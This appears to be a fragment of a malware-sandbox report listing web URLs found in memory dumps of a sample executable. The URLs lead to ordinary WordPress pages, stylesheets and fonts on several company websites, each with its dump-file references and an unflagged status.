00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/search-product/	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://aevga.com/wp-json/	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.elpro.si/podrocje-uporabe/tlak/	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/plugins/designthemes-core-features/shortcodes/css/slick.css?ver=f2be1e56	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.stnic.co.uk%2F	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.stnic.co.uk/wp-content/themes/outstock/css/ionicons.min.css?ver=6.6.2	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/magic-tooltips-for-contact-form-7/assets/css/jquery.qtip.min.	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.sbc.si/o-sbc/organizacija	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2)	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://use.typekit.net/gfl6syw.css?ver=1.0.18	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://aevga.com/wp-content/themes/oldhaven/framework/js/magnific/magnific-popup.css?ver=1.5	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.elpro.si/avtorji/	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
